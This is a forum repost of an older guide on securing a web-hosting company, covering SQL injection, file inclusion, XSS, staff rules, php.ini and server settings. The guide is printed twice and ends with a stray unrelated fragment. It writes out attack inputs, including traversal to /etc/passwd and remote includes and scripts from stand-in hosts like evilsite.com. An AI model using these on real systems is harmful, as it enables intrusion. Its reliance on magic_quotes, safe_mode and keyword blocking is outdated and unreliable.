Maaf kalo repost..ini q dapet dr WHT dan sepertinya manteb banget untuk sedikit dasar keamanan di hosting kita..Semoga saja bermanfaat
Part I. Your own websites security.
The first step you always want to take to secure your hosting company is to make sure your own website.
Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.
Next try any Get Vars in your scripts and put a ' at the end of them what I mean is you have = you add ' so it's yourwebsite.com/page?=' or any other similar thing not only page= you may also try char(39) rather then only ' most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ' but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.
The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.
If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)...
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use
The following to browse into other places ../../../../ if they wanted to they'd view your passwd file via ../../../../../../etc/passwd
Well right now you'd say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...
Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.
Ok next were going to discuss the abilities of an RFI and how to block it...
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.
Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.
Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...
What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn't really see it... but when you clicked they could potentially grab your cookie or any current stored browser information.
With this they could use your cookie as their own to login as you... maybe even get password information from this
cookie...
Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as...
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script>
Never click it what so ever... ban the person who has sent this.
Ok now for the mod_security bans... add <script> add <body= add </script> add ">
And this should fix your XSS problems that can actually cause damage...
As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.
One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.
Zend should fix this problem.
Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.
Part II. Your Employees
RULE-1 -PASSWORDS
Do not use password even more then once on your servers if you do the first time some one gets your password to any
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...
RULE-2 -PHONE CHATS
Always request a person's information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.
RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do...
If they slip up on one peace of information be sure to email them back and ask them to correct it before even
Sending any thing back or touching any thing.
RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC...
Be sure not to mention any root passwords, client names, etc...
Part III. Securing Your Server
Ok well first were going to do the obvious and CHMOD /home to 755
This is simple just go ahead and type chmod 755 /home
Or
CD /
chmod 755 home
Next were going to make sure no user has any bash access what so ever.
This may already be setup by the current hosting control panel you are using...
If not were going to nano /etc/passwd and make sure all Linux users that you don't want having bash are set to
/sbin/nologin
I realize some hosting companies also do dedicated server companies so it wouldn't work out if your client didn't have
bash to the server.
So this is mainly based for the shared hosting servers.
Part IV. PHP Configuration.
Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec,
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate
Some explanations of the functions your disabling.
show_source(), Disables functions most shells use to view the source of other files one commonly
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don't
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to
date.
system, Allows Bash Commands Via PHP
shell_exec, Allows Bash Commands via PHP
exec, Allows Bash Commands Via PHP
popen, Almost like Bash not quite but close using PHP
proc_open, Almost like bash not quite but close using PHP
base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
proc_terminate, Terminates Processes running on the server.
Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.
Part V. MySQL and Apache Configurations
Disable all out bound MYSQL connections...
Besides from Trusted Servers
This may actually be set in the host's field of the users in the actual MYSQL table, for each user account it lets you
Give them an IP or type any I'd recommend giving them an IP...
Although when you give them and IP don't worry it's not that you can only have one IP able to access that user you
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.
Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID
A reference Document on how to do this can be found here.
http://httpd.apache.org/docs/1.3/suexec.html
Comments:
What this will do with apache is pretty much make sure that the users can't access other users directories on the
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same
server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.
Part VI. SSH Keys.
It's not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.
A tutorial on how to do this can be found here:
http://www.sun.com/bigadmin/content/submitted/ssh_setting.html
If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.
There are some references for this located here
http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm
And here
http://www.userlocal.com/security/securinginetdetc.php
======================================================================================
-= Securing Your Hosting Company =-
-- Credits: DeadlyData --
-= Securing Your Hosting Company =-
-- Credits: DeadlyData --
Part I. Your own websites security.
The first step you always want to take to secure your hosting company is to make sure your own website.
Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.
Next try any Get Vars in your scripts and put a ' at the end of them what I mean is you have = you add ' so it's yourwebsite.com/page?=' or any other similar thing not only page= you may also try char(39) rather then only ' most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ' but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.
If you get an error you might want to check the script.
The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.
If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)...
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use
The following to browse into other places ../../../../ if they wanted to they'd view your passwd file via ../../../../../../etc/passwd
Well right now you'd say big Woop they got some users maybe not but still have the ability to go to any forum on
that server and upload an avatar with PHP-EXIF data in it then include it
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all...
Recommendations fix the script have mod security block all ../../../../../ to a certain point attempts.
Ok next were going to discuss the abilities of an RFI and how to block it...
So the things you can do with an RFI well lets see remotely include an PHP file that will execute its php file like so
www.yoursite.com/file.php?file=evilsite.com/shell.txt? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.
Prevention add http:// to your mod security this way when they try remotely including a file in the URL
http://www.evilsite.com mod_security will block it.
Ok our next subject is XSS this is a tricky one on account of there are many ways around mod security blocking this...
What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn't really see it... but when you clicked they could potentially grab your cookie or any current stored browser information.
With this they could use your cookie as their own to login as you... maybe even get password information from this
cookie...
Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as...
www.mysite.com/info.php?xss=<script>src=http://EVIL.com/xss.js</script>
Never click it what so ever... ban the person who has sent this.
Ok now for the mod_security bans... add <script> add <body= add </script> add ">
And this should fix your XSS problems that can actually cause damage...
As for SQL injection the way to block this is to... add ' or /* to the mod security be sure to add in char(39) as it's ' in php and php will in fact read it from a URL and interpret it as ' and still launch the sql injection.
One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.
Zend should fix this problem.
Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.
Part II. Your Employees
RULE-1 -PASSWORDS
Do not use password even more then once on your servers if you do the first time some one gets your password to any
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company...
RULE-2 -PHONE CHATS
Always request a person's information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.
RULE-3 -Email CHATS
This one is a bit easier there is no emotion to what the person is trying to do...
If they slip up on one peace of information be sure to email them back and ask them to correct it before even
Sending any thing back or touching any thing.
RULE-4 -Talking to each other
While talking to each other in public services.. or services that my be able to be taped such as an IRC...
Be sure not to mention any root passwords, client names, etc...
Part III. Securing Your Server
Ok well first were going to do the obvious and CHMOD /home to 755
This is simple just go ahead and type chmod 755 /home
Or
CD /
chmod 755 home
Next were going to make sure no user has any bash access what so ever.
This may already be setup by the current hosting control panel you are using...
If not were going to nano /etc/passwd and make sure all Linux users that you don't want having bash are set to
/sbin/nologin
I realize some hosting companies also do dedicated server companies so it wouldn't work out if your client didn't have
bash to the server.
So this is mainly based for the shared hosting servers.
Part IV. PHP Configuration.
Now were going to do some things to PHP.ini
usr/local/lib/php.ini
^ On Most Systems
safe_mode = On
safe_mode_gid = Off
open_basedir = directory [:...]
safe_mode_exec_dir = directory [:...]
expose_php = Off
register_globals = Off
display_errors =Off
log_errors = On
error_log = filename
magic_quotes=On
disable_functions = show_source, system, shell_exec, passthru, exec,
phpinfo, popen, proc_open, base64_decode, base64_encodem, proc_terminate
Some explanations of the functions your disabling.
show_source(), Disables functions most shells use to view the source of other files one commonly
c99, ModfiedC99 (c100), ModfiedC99(x2300)
phpinfo(), Sometimes will bring up XSS, also numeral overflows have been found while using PHPINFO() that and you don't
want people getting your version of PHP and etc. to attempt to exploit it if you may just be out of date or to up to
date.
system, Allows Bash Commands Via PHP
shell_exec, Allows Bash Commands via PHP
exec, Allows Bash Commands Via PHP
popen, Almost like Bash not quite but close using PHP
proc_open, Almost like bash not quite but close using PHP
base64_decode, decodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
base64_encode, encodes base64 encryptions... reason for disabling also allows users with server access to bypass mod security
proc_terminate, Terminates Processes running on the server.
Some reasons for having magic quotes on, it disables most nullbyte attempts (%00)
And will stop a small majority of SQL injections.
Part V. MySQL and Apache Configurations
Disable all out bound MYSQL connections...
Besides from Trusted Servers
This may actually be set in the host's field of the users in the actual MYSQL table, for each user account it lets you
Give them an IP or type any I'd recommend giving them an IP...
Although when you give them and IP don't worry it's not that you can only have one IP able to access that user you
do in fact have the ability to recreate the user
over and over and fill in the IP field differently each time.
Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID & UID
A reference Document on how to do this can be found here.
http://httpd.apache.org/docs/1.3/suexec.html
Comments:
What this will do with apache is pretty much make sure that the users can't access other users directories on the
Server this is a common vulnerability you get access to one site on the server and you get access to all websites on the same
server... this protects against it. All though apache is running under each user using SuEXEC would solve that problem.
Part VI. SSH Keys.
It's not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.
A tutorial on how to do this can be found here:
http://www.sun.com/bigadmin/content/submitted/ssh_setting.html
If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.
There are some references for this located here
http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm
And here
http://www.userlocal.com/security/securinginetdetc.php
amAssassin, a set of Perl modules which allow SpamAssassin to be used in a wide range of products.
.